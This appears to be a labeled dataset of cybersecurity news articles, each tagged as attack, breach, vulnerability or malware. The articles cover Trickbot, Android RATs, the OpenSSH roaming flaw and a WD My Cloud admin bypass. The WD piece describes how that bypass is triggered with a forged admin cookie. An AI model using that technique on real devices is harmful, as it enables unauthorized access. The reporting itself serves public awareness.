MatrixSSL Tiny is going to be demonstrated this week at Black Hat conference in Las Vegas, where the security researchers will be representing its full suite of security products and will talk about its solution for cyber attacks focussed at IoT.

MatrixSSL Tiny is a lightweight TLS software implementation for IoT devices with limited memory to make secure communications among them, yet demand more robust security to prevent eavesdropping and tampering of network traffic.

The software also performs real time functions that nulls the memory on completion of a particular session. According to researchers, MatrixSSL Tiny is the world's smallest, yet powerful IoT security solution.

Why SSL is Not Sufficient?

Despite developments for enhancing the security, IoT infrastructure is still massively prone to cyber attacks that lead to offer open gateways for people with malicious intents.

Any command initiated on a smart device, be it an application or a firmware, must be verified through a chain of trust.

If we consider a situation, where communication is taking place on a traditional IT system and an IoT smart device, we see that IT systems follow a layered security procedure; whereas in IoT smart devices authenticity and confidentiality can be tampered with.

Therefore, multi-layer security measures are needed for IoT devices too so that the IoT devices could differentiate that the information received or sent is by an authorized user or an intruder.

To sum up, I would say…

The security of IoT enabled devices are becoming critical and a thing of concern for the security enablers. The point to be worried about is its future developments where, it is seen as a boon and not a bane.

",Cyber_Attack
Warning! 32 Million Twitter Passwords May Have Been Hacked and Leaked,https://thehackernews.com/2016/06/hack-twitter-password.html,"The world came to know about massive data breaches in some of the most popular social media websites including LinkedIn, MySpace, Tumblr, Fling, and VK.com when an unknown Russian hacker published the data dumps for sale on the underground black marketplace.

However, these are only data breaches that have been publicly disclosed by the hacker.

I wonder how much more stolen data sets this Russian, or other hackers are holding that have yet to be released.

The answer is still unknown, but the same hacker is now claiming another major data breach, this time, in Twitter.

Login credentials of more than 32 Million Twitter users are now being sold on the dark web marketplace for 10 Bitcoins (over $5,800).

LeakedSource, a search engine site that indexes leaked login credentials from data breaches, noted in a blog post that it received a copy of the Twitter database from Tessa88, the same alias used by the hacker who provided it hacked data from Russian social network VK.com last week.

The database includes usernames, email addresses, sometimes second email addresses, and plain-text passwords for more than 32 Million Twitter accounts.

Twitter strongly denied the claims by saying that ""these usernames and credentials were not obtained by a Twitter data breach"" – their ""systems have not been breached,"" but LeakedSource believed that the data leak was the result of malware.
""Tens of millions of people have become infected by malware, and the malware sent every saved username and password from browsers like Chrome and Firefox back to the hackers from all websites including Twitter,"" LeakedSource wrote in its blog post.
But, do you remember how Facebook CEO Mark Zuckerberg Twitter account was compromised?

The hackers obtained Zuck's account credentials from the recent LinkedIn data breach, then broke his SHA1-hashed password string, tried on his several social media accounts and successfully hacked Zuckerberg's Twitter and Pinterest account.

So, one possibility could also be that the alleged Twitter database dump of over 32 Million users is made up of already available records from the previous LinkedIn, MySpace and Tumblr data breaches.

The hacker might just have published already leaked data from other sites and services as a new hack against Twitter that actually never happened.

Whatever the reason is, the fact remain that hackers may have had their hands on your personal data, including your online credentials.

So, it's high time you changed your passwords for all social media sites as well as other online sites if you are using the same password.

",Data_Breaches
Western Digital's My Cloud NAS Devices Turn Out to Be Easily Hacked,https://thehackernews.com/2018/09/wd-my-cloud-nas-hacking.html,"Security researchers have discovered an authentication bypass vulnerability in Western Digital's My Cloud NAS devices that potentially allows an unauthenticated attacker to gain admin-level control to the affected devices.

Western Digital's My Cloud (WD My Cloud) is one of the most popular network-attached storage (NAS) devices which is being used by businesses and individuals to host their files, as well as backup and sync them with various cloud and web-based services.

The WD My Cloud devices let users not only share files in a home network but its private cloud feature also allows them to access their data from anywhere around the world at any time.

However, security researchers at Securify have discovered an authentication bypass vulnerability on the WD My Cloud NAS boxes that could allow unauthenticated attackers with network access to the device to escalate their privileges to admin-level without needing to provide a password.

This would eventually allow attackers to run commands that would typically require administrative privileges and gain complete control of the affected NAS device, including their ability to view, copy, delete and overwrite any files that are stored on the device.

Here's How Easy it is to Hack a WD My Cloud Storage Boxes

The vulnerability, designated CVE-2018-17153, resides in the way WD My Cloud creates an admin session tied to an IP address.

By simply including the cookie username=admin to an HTTP CGI request send by an attacker to the device's web interface, the attacker can unlock admin access and gain access to all the content stored on the NAS box.

""It was found that it is possible for an unauthenticated attacker to create a valid session without requiring to authenticate,"" the researchers explain in a blog post detailing about the flaw published on Tuesday.

""The network_mgr.cgi CGI module contains a command called cgi_get_ipv6 that starts an admin session that is tied to the IP address of the user making the request when invoked with the parameter flag equal to 1. Subsequent invocation of commands that would normally require admin privileges are now authorized if an attacker sets the username=admin cookie.""

Long story short, just tell the WD My Cloud NAS device that you are the admin user in the cookie, and you are in without ever being asked for a password.

Proof-of-Concept Exploit Code Released
Securify researchers have also published a proof-of-concept (PoC) exploit showing how the vulnerability can be exploited with just a few lines of code.

Obviously, the exploit requires either a local network or internet connection to a WD My Cloud device in order to be run the command and bypasses the NAS device's usual login requirements.

The researchers successfully verified the vulnerability on a Western Digital My Cloud model WDBCTL0020HWT running firmware version 2.30.172, though they claimed that this issue is not limited to the model, as most products in the My Cloud series share the same ""vulnerable"" code.

Securify researchers found the issue while reverse engineering the CGI binaries to look for security bugs, and reported it to Western Digital in April 2017, but did not receive any response from the company.

After almost one-and-half years of silence from Western Digital, researchers finally publicly disclosed the vulnerability, which is still unpatched.

This is not the first time Western Digital has ignored the security of its My Cloud NAS device users.

Earlier this year, a researcher publicly disclosed several vulnerabilities in Western Digital's My Cloud NAS devices, including a hard-coded password backdoor issue in their firmware after the company did not address the issue, which was reported 180 days before making it public.

Update: Patches Coming Soon!
Western Digital has responded to our story, saying the company is aware of the vulnerabilities reported by researchers and it is in process of finalizing a scheduled firmware update to address the issue.

""We expect to post the update on our technical support site at https://support.wdc.com/ within a few weeks,"" the company said in a blog post.

""As a reminder, we also urge customers to ensure the firmware on their products is always up to date; enabling automatic updates is recommended.""

",Vulnerability
Trickbot Malware Returns with a new VNC Module to Spy on its Victims,https://thehackernews.com/2021/07/trickbot-malware-returns-with-new-vnc.html,"Cybersecurity researchers have opened the lid on the continued resurgence of the insidious Trickbot malware, making it clear that the Russia-based transnational cybercrime group is working behind the scenes to revamp its attack infrastructure in response to recent counter efforts from law enforcement.
""The new capabilities discovered are used to monitor and gather intelligence on victims, using a custom communication protocol to hide data transmissions between [command-and-control] servers and victims — making attacks difficult to spot,"" Bitdefender said in a technical write-up published Monday, suggesting an increase in sophistication of the group's tactics.
""Trickbot shows no sign of slowing down,"" the researchers noted.
Botnets are formed when hundreds or thousands of hacked devices are enlisted into a network run by criminal operators, which are often then used to launch denial-of-network attacks to pummel businesses and critical infrastructure with bogus traffic with the aim of knocking them offline. But with control of these devices, malicious actors can also use botnets to spread malware and spam, or to deploy file-encrypting ransomware on the infected computers.
Trickbot is no different. The notorious cybercrime gang behind the operation — dubbed Wizard Spider — has a track record of exploiting the infected machines to steal sensitive information, pivot laterally across a network, and even become a loader for other malware, such as ransomware, while constantly improving their infection chains by adding modules with new functionality to increase its effectiveness.
""TrickBot has evolved to use a complex infrastructure that compromises third-party servers and uses them to host malware,"" Lumen's Black Lotus Labs disclosed last October. ""It also infects consumer appliances such as DSL routers, and its criminal operators constantly rotate their IP addresses and infected hosts to make disruption of their crime as difficult as possible.""
The botnet has since survived two takedown attempts by Microsoft and the U.S. Cyber Command, with the operators developing firmware meddling components that could allow the hackers to plant a backdoor in the Unified Extensible Firmware Interface (UEFI), enabling it to evade antivirus detection, software updates, or even a total wipe and reinstallation of the computer's operating system.
Now according to Bitdefender, the threat actor has been found actively developing an updated version of a module called ""vncDll"" that it employs against select high-profile targets for monitoring and intelligence gathering. The new version has been named ""tvncDll.""
The new module is designed to communicate with one of the nine command-and-control (C2) servers defined in its configuration file, using it to retrieve a set of attack commands, download more malware payloads, and exfiltrate gathered from the machine back to the server. Additionally, the researchers said they identified a ""viewer tool,"" which the attackers use to interact with the victims through the C2 servers.
That's not all. A separate report published by Cofense this week discovered fresh evidence of the botnet targeting companies in the retail, building materials, manufacturing, insurance, and construction industries with phishing emails containing invoice-themed Word documents to trigger a ""fine-tuned workflow for stealing credentials.""
While efforts to squash the gang's operations may not have been entirely successful, Microsoft told The Daily Beast that it worked with internet service providers (ISPs) to go door-to-door replacing routers compromised with the Trickbot malware in Brazil and Latin America, and that it effectively pulled the plug on Trickbot infrastructure in Afghanistan.

",Malware
T-Mobile Hacked — 2 Million Customers' Personal Data Stolen,https://thehackernews.com/2018/08/t-mobile-hack-breach.html,"T-Mobile today confirmed that the telecom giant suffered a security breach on its US servers on August 20 that may have resulted in the leak of ""some"" personal information of up to 2 million T-Mobile customers.

The leaked information includes customers' name, billing zip code, phone number, email address, account number, and account type (prepaid or postpaid).

However, the good news is that no financial information like credit card numbers, social security numbers, or passwords, were compromised in the security breach.

According to a brief blog post published by the company detailing the incident, its cybersecurity team detected and shut down an ""unauthorized capture of some information"" on Monday, August 20.

Although the company has not revealed how the hackers managed to hack into its servers neither it disclosed the exact number of customers affected by the data breach, a T-Mobile spokesperson told Motherboard that less than 3 percent of its 77 million customers were affected.

The spokesperson also said that unknown hackers part of ""an international group"" managed to access T-Mobile servers through an API that ""didn't contain any financial data or other very sensitive data,"" adding ""We found it quickly and shut it down very fast.""

T-Mobile said the company informed law enforcement about the security breach and is reaching out to its affected customers directly via SMS message, letter in the mail, or a phone call to notify them as well.
""We take the security of your information very seriously and have a number of safeguards in place to protect your personal information from unauthorized access,"" T-Mobile said. ""We truly regret that this incident occurred and are so sorry for any inconvenience this has caused you.""

The U.S. telecom giant is also encouraging affected customers to contact its customer service through 611 for any information regarding the breach.

The T-Mobile incident marks the latest high-profile data breach and adds itself to the list of that other recent high profile attacks took place against Carphone Warehouse that affected its 10 million customers, and Ticketmaster that affected tens of thousands of its customers.

Did you receive any notification regarding this data breach? Let us know in the comments below.
",Data_Breaches
Hundreds Of Operations Canceled After Malware Hacks Hospitals Systems,https://thehackernews.com/2016/11/hospital-cyber-attack-virus.html,"Computer viruses do not discriminate.

They are not just hacking your email and online banking accounts anymore.

Computer viruses do not distinguish between a personal computer or a hospital machine delivering therapy to patients — and the results could prove deadly.

Cyber attacks on hospitals have emerged as a significant cyber security risk in 2016, which not only threaten highly sensitive information but also potentially harm the very lives of those being protected.

In the latest incident, hundreds of planned operations, outpatient appointments, and diagnostic procedures have been canceled at multiple hospitals in Lincolnshire, England, after a ""major"" computer virus compromised the National Health Service (NHS) network on Sunday.

In a bright-red alert warning labeled ""Major incident"" on its website, the Northern Lincolnshire and Goole NHS Foundation Trust (NLAG) said its systems in Scunthorpe and Grimsby were infected with a virus on October 30.

The incident forced the trust to shut down all the major systems within its shared IT network in order to ""isolate and destroy"" the virus and cancel surgeries.
""We have taken the decision, following expert advice, to shut down the majority of our systems so we can isolate and destroy it,"" the NHS wrote on its website. ""All planned operations, outpatient appointments and diagnostic procedures have been canceled for Wednesday, Nov. 2 with a small number of exceptions.""
Some patients, including major trauma patients and high-risk women in labor, were diverted to neighbouring hospitals.
Although the majority of systems are now back and working, the NHS Trust has not provided any specific information about the sort of virus or malware or if it managed to breach any defense.

The incident took place after the U.S. and Canada issued a joint cyber alert, warning hospitals and other organizations against a surge in extortion attacks that infect computers with Ransomware that encrypts data and demand money for it to be unlocked.

Although it is unclear at the moment, the virus could likely be a ransomware that has previously targeted hospitals and healthcare facilities.

Life Threatening Cyber-Attacks

With the rise in Ransomware threat, we have seen an enormous growth in the malware businesses.

The countless transactions of Bitcoins into the dark web have energized the Ransomware authors to distribute and adopt new infection methods for the higher successful rate.

Today, Ransomware have been a soft target for both Corporates as well as Hospitals.

Since earlier this year, over a dozen hospitals have been targeted by ransomware, enforcing them to pay the ransom amount as per the demand by freezing the central medical systems.

Technological advancement in the medical arena has digitalized patients data in the form of Electronic Medical Record (EMR) in order to save them into the hospital's central database.

Since the delay in patients treatment by temporary locking down their details could even result in the patient's death, the attackers seek 100 percent guarantee ransom by infecting hospitals with Ransomware.

Due to this reason, in most of the cases, hospitals generally agrees to pay the ransom amount to the attackers.

Earlier this year, the Los Angeles-based Presbyterian Medical Center paid $17,000 in Bitcoins to cyber crooks in order to restore access to its electronic medical systems, after a ransomware virus hit the hospital.

Also back in April, the MedStar Health chain that runs a number of hospitals in the Baltimore and Washington area, was attacked with Samsam ransomware (or Samas) that encrypted sensitive data at the hospitals.

Followingly, many more hospitals, including Methodist Hospital in Henderson and Kentucky, Desert Valley Hospital in California and Chino Valley Medical Center, have been infected with Ransomware.

",Cyber_Attack
Experts Sound Alarm On New Android Malware Sold On Hacking Forums,https://thehackernews.com/2021/01/experts-sound-alarm-on-new-android.html,"Cybersecurity researchers have exposed the operations of an Android malware vendor who teamed up with a second threat actor to market and sell a remote access Trojan (RAT) capable of device takeover and exfiltration of photos, locations, contacts, and messages from popular apps such as Facebook, Instagram, WhatsApp, Skype, Telegram, Kik, Line, and Google Messages.
The vendor, who goes by the name of ""Triangulum"" in a number of darknet forums, is alleged to be a 25-year-old man of Indian origin, with the individual opening up shop to sell the malware three years ago on June 10, 2017, according to an analysis published by Check Point Research today.
""The product was a mobile RAT, targeting Android devices and capable of exfiltration of sensitive data from a C&C server, destroying local data – even deleting the entire OS, at times,"" the researchers said.
An Active Underground Market for Mobile Malware
Piecing together Triangulum's trail of activities, the cybersecurity firm said the malware developer — aside from drumming up publicity for the RAT — also looked for potential investors and partners in September 2017 to show off the tool's features before offering the malware for sale.
Triangulum, subsequently, is believed to have gone off the grid for about a year-and-a-half, with no signs of activity on the darknet, only to resurface on April 6, 2019, with another product called ""Rogue,"" this time in collaboration with another adversary named ""HeXaGoN Dev,"" who specialized in the development of Android-based RATs.
Noting that Triangulum had previously purchased several malware products offered by HeXaGoN Dev, Check Point said Triangulum advertised his products on different darknet forums with well-designed infographics listing the full features of the RAT. Furthermore, HeXaGoN Dev posed as a potential buyer in a bid to attract more customers.
While the 2017 product was sold for a flat $60 as a lifetime subscription, the vendors pivoted to a more financially-viable model in 2020 by charging customers anywhere between $30 (1 month) to $190 (permanent access) for the Rogue malware.
Interestingly, Triangulum's attempts to expand to the Russian darknet market were met with failure following the actor's refusal to share demo videos on the forum post advertising the product.
From Cosmos to Dark Shades to Rogue
Rogue (v6.2) — which appears to be the latest iteration of a malware called Dark Shades (v6.0) that initially sold by HeXaGoN Dev before being purchased by Triangulum in August 2019 — also comes with features taken from a second malware family called Hawkshaw, whose source code became public in 2017.
""Triangulum didn't develop this creation from scratch, he took what was available from both worlds, open-source and the darknet, and united these components,"" the researchers said.
Dark Shades, as it turns out, is a ""superior successor"" to Cosmos, a separate RAT sold by the HeXaGoN Dev actor, thus making the sale of Cosmos redundant.
Rogue is marketed as a RAT ""made to execute commands with incredible features without a need of computer (sic),"" with additional capabilities to control the infected clients remotely using a control panel or a smartphone.
Indeed, the RAT boasts of a wide range of features to gain control over the host device and exfiltrate any kind of data (such as photos, location, contacts, and messages), modify the files on the device, and even download additional malicious payloads, while ensuring that the user grants intrusive permissions to carry out its nefarious activities.
It's also engineered to thwart detection by hiding the icon from the user's device, circumvent Android security restrictions by exploiting accessibility features to log user actions, and registers its own notification service to snoop on every notification that pops up on the infected phone.
What's more, stealth is built into the tool. Rogue uses Google's Firebase infrastructure as a command-and-control (C2) server to disguise its malicious intentions, abusing the platform's cloud messaging feature to receive commands from the server, and Realtime Database and Cloud Firestore to upload amassed data and documents from the victim device.
Rogue Suffered a Leak in April 2020
Triangulum may be currently active and expanding his clientele, but in April 2020, the malware ended up getting leaked.
ESET researcher Lukas Stefanko, in a tweet on April 20 last year, said the backend source code of the Rogue Android botnet was published in an underground forum, noting ""it has lot of security issues,"" and that ""it is new naming for Dark Shades V6.0 (same developer).""
But despite the leakage, Check Point researchers note that the Triangulum team still receives messages on the actor's home Darknet forum from interested customers.
""Mobile malware vendors are becoming far more resourceful on the dark net. Our research gives us a glimpse into the craziness of the dark net: how malware evolves, and how difficult it is to now track, classify and protect against them in an effective way,"" Check Point's Head of Cyber Research, Yaniv Balmas, said.
""The underground market is still like the wild-west in a sense, which makes it very hard to understand what is a real threat and what isn't.""

",Malware
Critical OpenSSH Flaw Leaks Private Crypto Keys to Hackers,https://thehackernews.com/2016/01/openssh-vulnerability-cryptokeys.html,"A 'Serious' security vulnerability has been discovered and fixed in OpenSSH – one of the most widely used open-source implementations of the Secure Shell (SSH) Protocol.

The critical vulnerability could be exploited by hackers to force clients to leak their secret private cryptographic keys, potentially exposing users to Man-in-the-Middle (MITM) attacks.

What Causes the Flaw to occur?

The serious bug was actually the result of a code that enables an experimental ""roaming"" feature in the OpenSSH versions 5.4 to 7.1 in order to let users resume connections.


However, The roaming feature contains two different vulnerabilities:
An information sharing flaw (CVE-2016-0777)
A less harmless buffer overflow flaw (CVE-2016-0778)
The vulnerability does not have any catchy name like some previous OpenSSH flaws.

Impact of the Vulnerability

This new feature can be exploited by hackers, who could use a malicious OpenSSH server to trick an affected client to give up the SSH keys when they try to log in.

Cyber crooks with one compromised server can secretly grab SSH private keys required to log into other systems from a user's PC, allowing them to jump from server to server.

The vulnerability, which is said to be years old, was uncovered by researchers from Qualys' security team on 11 January and the issue was fixed within three days by the OpenSSH team with the release of a patch.

Here's what OpenSSH officials said in an advisory published Thursday:
""The matching server code has never been shipped, but the client code was enabled by default and could be tricked by a malicious server into leaking client memory to the server, including private client user keys.""
""The authentication of the server host key prevents exploitation by a man-in-the-middle, so this information leak is restricted to connections to malicious or compromised servers.""

Who is Affected by the Serious Flaw?

The flaw resides in the versions 5.4 to 7.1 of the OpenSSH client, which end users use to connect to servers and not resides in versions used by servers.

The issue affects users running OpenSSH client on most modern operating systems including Linux, FreeBSD and Mac OSX, as well as it may also affect users running OpenSSH for Windows. However, users running PuTTY on Windows are safe.

So, users don't have to update OpenSSH on the server side (Droplet), but should update the OpenSSH client on their local computer.

How to Fix the Flaw?

The OpenSSH team patched the security flaw in version 7.1p2 on Thursday. So, users and organisations are strictly advised to patch their OpenSSH implementations immediately, as well as regenerate their SSH private keys as a precaution.

The latest builds of FreeBSD and OpenBSD have also been patched, as have Debian, Ubuntu, and RedHat Enterprise Linux (RHEL).

Since security patches and updates are being released for the affected distributions, the client-side roaming feature causing this security bug can be disabled manually in order to resolve the issue.

On OS X, Linux and BSD variants, disabling roaming feature can be done by adding a line of code to your SSH configuration.

On FreeBSD and Linux
Run the given command to add the new line to your configuration:
echo 'UseRoaming no' | sudo tee -a /etc/ssh/ssh_config

On Mac OSX
Run the given command to add the new line to your configuration:
echo ""UseRoaming no"" >> ~/.ssh/config

Once this is done, you need to close any open SSH session in order for the change to be effective.

Proof-of-Concept Exploit

OpenSSH said they are not aware of attacks in wild exploiting this flaw, but Qualys said this issue may have already been exploited in the wild by sophisticated attackers.

Later on Thursday, Qualys published a post, including a proof-of-concept exploit code, effectively lighting a fire under every affected OpenSSH client.

The vulnerability is thought to be one of the most severe vulnerabilities discovered in the open-source software in years, and it's difficult to say how big the impact will be.

Patch Now! Patch Fast! Be Safe!

",Vulnerability
"New ""Fileless Malware"" Targets Banks and Organizations Spotted in the Wild",https://thehackernews.com/2017/02/fileless-malware-bank.html,"More than a hundred banks and financial institutions across the world have been infected with a dangerous sophisticated, memory-based malware that's almost undetectable, researchers warned.

Newly published report by the Russian security firm Kaspersky Lab indicates that hackers are targeting banks, telecommunication companies, and government organizations in 40 countries, including the US, South America, Europe and Africa, with Fileless malware that resides solely in the memory of the compromised computers.

Fileless malware was first discovered by the same security firm in 2014, has never been mainstream until now.

Fileless malware is a piece of nasty software that does not copy any files or folder to the hard drive in order to get executed. Instead, payloads are directly injected into the memory of running processes, and the malware executes in the system's RAM.

Since the malware runs in the memory, the memory acquisition becomes useless once the system gets rebooted, making it difficult for digital forensic experts to find the traces of the malware.

The attack was initially discovered by a bank's security team after they found a copy of Meterpreter — an in-memory component of Metasploit — inside the physical memory of a Microsoft domain controller.
After conducting a forensic analysis, Kaspersky researchers found that the attackers leveraged Windows PowerShell to load the Meterpreter code directly into memory rather than writing it to the disk.

The cyber crooks also used Microsoft's NETSH networking tool to set up a proxy tunnel for communicating with the command and control (C&C) server and remotely controlling the infected host.

They also stashed the PowerShell commands into the Windows registry in an effort to reduce nearly all traces of the attacks left in logs or hard drive after a reboot of the device, making detection and forensic analysis difficult.

The ultimate goal of the attackers was apparently aimed at compromising computers that control ATMs so that they could steal money.

Kaspersky Lab researchers plan to reveal more details in April about the attack, which is occurring on an industrial scale worldwide.

The attack has already hit more than 140 enterprise networks in business sectors, with most victims located in the US, France, Ecuador, Kenya, the UK, and Russia. And since the threat is so hard to spot, the actual number is likely much higher.

",Malware
Google Chrome Inbuilt Flash player allows Webcam Hacking,https://thehackernews.com/2013/06/Webcam-Hacking-Flash-clickjacking.html,"No longer limited to Hollywood movies about cybercrime, webcam hacking has stealthily and aggressively broken into average households

""I've heard a hacker could access my webcam and watch me in front of my computer. Could this really happen?"" YES, other than using a Remote administration tools, it is also technically possible using new Flash based flaw in Google Chrome.

According to a recent report by security researchers, there's a big problem in Google Chrome's integrated Flash player. The proof-of-concept posted by Egor Homakov. When the play button is pressed, the user is actually allowing for his/her webcam to grab video and audio from a compromised computer without getting the user's permission.

""This works precisely like regular clickjacking - you click on a transparent flash object, it allows access to Camera/Audio channel. Voila, attacker sees and hears you,"" Homakov warned.

These kinds of virtual hacks have been taking place for years. An invisible Flash element is present on the page, the victim (using Chrome) clicks on it, and that's it.

Adobe security team spokeswoman confirmed there was an issue but said it was limited to Flash Player for Google Chrome.

Google recently imposed a seven day deadline for vendors to respond to security bug reports. Homakov's discovery represents the first chance to see whether Google itself can stick to such tight deadlines.

The rapid growth of laptop computers with built-in web cameras substantially increases the risk of webcam hacking, privacy invasion, and other types of cybercrime (e.g., bullying, hate crimes, stalking, etc.).

",Vulnerability
Password Stealing Apps With Over A Million Downloads Found On Google Play Store,https://thehackernews.com/2017/12/google-playstore-malware.html,"Even after so many efforts by Google like launching bug bounty program and preventing apps from using Android accessibility services, malicious applications somehow manage to get into Play Store and infect people with malicious software.

The same happened once again when security researchers discovered at least 85 applications in Google Play Store that were designed to steal credentials from users of Russian-based social network VK.com and were successfully downloaded millions of times.

The most popular of all masqueraded as a gaming app with more than a million downloads. When this app was initially submitted in March 2017, it was just a gaming app without any malicious code, according to a blog post published Tuesday by Kaspersky Lab.

However, after waiting for more than seven months, the malicious actors behind the app updated it with information-stealing capabilities in October 2017.

Besides this gaming app, the Kaspersky researchers found 84 such apps on Google Play Store—most of them were uploaded to the Play Store in October 2017 and stealing credentials for VK.com users.

Other popular apps that were highly popular among users include seven apps with between 10,000 and 100,000 installations, nine with between 1,000 and 10,000 installations, and rest of all had fewer than 1,000 installations.

Here's How Cyber Criminals Steal Your Account Credentials:

The apps used an official SDK for VK.com but slightly modified it with malicious JavaScript code in an effort to steal users' credentials from the standard login page of VK and pass them back to the apps.

Since these apps looked like they came from VK.com – for listening to music or for monitoring user page visits, requiring a user to login into his/her account through a standard login page did not look suspicious at all.

The stolen credentials were then encrypted and uploaded to a remote server controlled by the attackers.
""The interesting thing is that although most of these malicious apps had a described functionality, a few of them were slightly different—they also used malicious JS code from the OnPageFinished method, but not only for extracting credentials but for uploading them too,"" Kaspersky said.
Researchers believe that the cybercriminals use stolen credentials mostly for promoting groups in VK.com, by silently adding users to promote various groups and increase their popularity by doing so, since they received complaints from some infected users that their accounts had been silently added to unknown groups.

The cybercriminals behind these apps had been publishing their malicious apps on the Play Store for more than two years, so all they had to do is modify their apps to evade detection.

Since VK.com is popular mostly among users in CIS countries, the malicious apps were targeting Russian, Ukrainian, Kazakh, Armenian, Azerbaijani, Romanian, Belarusian, Kyrgyz, Tajik, and Uzbek users.

The apps did so by first checking the device language and asked for login credentials from users with one of the above-mentioned languages.

In addition, researchers also noted that they found several other apps on Google Play Store that were submitted by the same cyber criminals and published as unofficial clients for the popular messaging app Telegram.

""These apps were not only masquerading as Telegram apps, they were actually built using an open source Telegram SDK and work almost like every other such app,"" the researchers said, adding that these apps also add infected users to promoted groups/chats based on a list received from their server.

How to Protect Your Device From Such Malicious Apps

All the apps, including the credential-stealing apps (detected as Trojan-PSW.AndroidOS.MyVk.o) and malicious Telegram clients (detected as not-a-virus:HEUR:RiskTool.AndroidOS.Hcatam.a), have since been removed by Google from the Play Store.

However, those who have already installed one of the above apps on their mobile devices should make sure their devices have Google Play Protect enabled.

Play Protect is Google's newly launched security feature that uses machine learning and app usage analysis to remove (uninstall) malicious apps from users Android smartphones to prevent further harm.

Although it is a never-ending concern, the best way to protect yourself is always to be vigilant when downloading apps from Google's official Play Store, and always verify app permissions and reviews before you download one.

Moreover, you are strongly advised to always keep a good antivirus app on your mobile device that can detect and block such malicious apps before they can infect your device, and always keep your device and apps up-to-date.

",Malware
Java Zero-day vulnerability exploited in the Wild,https://thehackernews.com/2015/07/java-zero-day-vulnerability.html,"Really a bad weekend for Internet users. Three previously unknown critical zero-day vulnerabilities were revealed in Adobe's Flash Player over the weekend, thanks to Hacking team data Breach in which 400GB of internal data were leaked over the Internet.

Now, a new zero-day vulnerability has been reported in Oracle's Java that is reportedly being exploited in the wild by hackers to target government armed forces.

Cybercriminals are actively exploiting the Java-based zero-day flaw in an attempt to target U.S. defense agencies and members of NATO, Trend Micro security researchers warned in a blog post published Sunday.

According to researchers, the vulnerability affects only the latest version of Java, version 1.8.0.45. Though the older Java versions, Java 1.6 and 1.7 are not at all affected by this zero-day exploit.

So far, there isn't many details disclosed about the Java zero-day bug, considering a patch is yet to be released by Oracle. Although hackers are exploiting the zero-day flaw through drive-by-downloads attack.

Java Zero-Day Exploit in the Wild

Cyber criminals are using email messages to spread the malicious links hosting the Java zero-day exploit. Once clicked, the exploit code delivers a basic Trojan dropper, TROJ_DROPPR.CXC, that drops a payload called TSPY_FAKEMS.C into the ""/login user"" folder.

From login user folder, the malware executes an arbitrary code on the default Java settings thus compromising the security of the system.

Researchers have also unearthed an attack that leverages a three-year-old Windows vulnerability identified as CVE-2012-015, which Microsoft addressed in Bulletin MS12-027 three years ago.

Operation Pawn Storm APT Group Behind Java 0_day Exploit

The advanced persistent threat (APT) group Operation Pawn Storm are thought to be responsible for the Java zero-day exploit attacking the member of NATO and the US defense organization, but the security firm did not disclose the names where the attack was sighted.

Pawn Storm, a group of hackers specialized in cyber-espionage operation, has been active since 2007 and has also been known by different names, including APT28, Sednit, Fancy Bear, and Tsar Team.

Are You Vulnerable to New Java Zero-Day Exploit?
Oracle developers are working with Trend Micro to develop a fix to patch the issue. Until the patch is rolled out, users are advised to disable Java temporarily in their browser.

",Vulnerability
Creator of Blackshades Malware Jailed 4 Years in New York,https://thehackernews.com/2015/06/blackshades-malware-creator.html,"A Swedish man who was the mastermind behind the $40 BlackShades Remote Access Tool (RAT) that infected over half a million systems around the world was sentenced to almost five years in a U.S. prison on Tuesday.

Alex Yücel, 25, owned and operated an organization called ""BlackShades"" that sold a sophisticated and notorious form of software, called RAT, to several thousands of hackers and other people in more than 100 countries for prices ranging from $40 to $50.

BlackShades malware was designed to capture keystrokes, steal usernames and passwords for victims' email and Web services, FTP clients, instant messaging applications, and lots more.

In the worst case, the malicious software even allowed hackers to take remote control of victim's computer and webcam to pilfer photos or videos without the knowledge of the computer owner.

Yucel (a.k.a. ""marjinz"") was sentenced to four and three-quarter years in prison by U.S. District Judge Kevin Castel after pleading guilty in February in a New York federal court, according to the U.S. Department of Justice.

The accused asked the judge for leniency in imposing sentence and said he regret marketing the sophisticated malware to hackers. ""I deeply regret starting this [BlackShades] whole project, which obviously went out of control,"" he said.

However, Castel sentenced him to 57 months behind bars along with a penalty of $200,000, saying that ""the message must go forth that this is a serious crime.""
""We rely on our computers as an extension of how we live our lives,"" Castel said in a press release. ""This is spreading misery to the lives of thousands [of online people]. That's what this is.""
Yucel has already served approximately 13 months in New York prison and roughly one month in Moldova custody, where he was held after capture.

The accused developed the RAT with Michael Hogue, an Arizona US resident who already pleaded guilty for the creation of BlackShades malware and agreed to cooperate with U.S. authorities as part of a plea deal. Hogue is scheduled to be sentenced on July 24 this year.

In mid-May last year, the law enforcement authorities in the United States and Europe started large-scale International raids against people suspected of developing, selling and buying the notorious BlackShades RAT.

The raids took place in over 100 countries worldwide, and the authorities seized 1,900 command and control (CnC) domains and arrested more than 100 people around the world involved in the illegal activities related to BlackShades malware.

BlackShades tool was actually developed by an IT surveillance and security-based company, as a tool for parents to monitor their children's activities and for finding the cheating partners in the relationship. However, as usual the cyber criminals have made it a favorite tool to carry out illicit activities.

",Malware
Cisco VoIP phone vulnerability allow eavesdropping remotely,https://thehackernews.com/2012/12/cisco-voip-phone-vulnerability-allow.html,"Cui, a fifth year grad student from the Columbia University Intrusion Detection Systems Lab and co-founder of Red Balloon Security, has demonstrated an attack on common Cisco-branded Voice over IP (VoIP) phones that could easily eavesdrop on private conversations remotely.

The vulnerability Cui demonstrated was based on work he did over the last year on what he called 'Project Gunman v2', where a laser printer firmware update could be compromised to include additional, and potentially malicious, code.

The latest vulnerability is based on a lack of input validation at the syscall interface. Cui said, ""allows arbitrary modification of kernel memory from userland, as well as arbitrary code execution within the kernel. This, in turn, allows the attacker to become root, gain control over the DSP , buttons, and LEDs on the phone.""

While he did not specify the precise vulnerability, Cui said it allowed him to patch the phone's software with arbitrary pieces of code, and that this allowed him to turn the Off-Hook Switch into what he called a funtenna.

According to Cui, once one phone is compromised, the entire network of phones is vulnerable. Cui later said he could also perform a similar exploit remotely, without the need to insert a circuit board at all.

He also said that routers, printers and phones are general-purpose computers without host-based intrusion systems or antivirus protection built in, so they make attractive targets. Further, they often lack encryption for data in motion or at rest.

Cui said affected models include Cisco Unified IP Phone 7975G, 7971G-GE, 7970G, 7965G, 7962G, 7961G, 7961G-GE, 7945G, 7942G, 7941G, 7941G-GE, 7931G, 7911G, and 7906. Models 7971G-GE, 7970G, 7961G, 7961G-GE, 7941G, 7941G-GE, and 7906 are also vulnerable.

In response to his findings, Cisco says that workarounds and a software patch are available to address the issue, and that successful exploitation requires physical access to the device serial port or a combination of remote authentication privileges and non default settings.

",Vulnerability
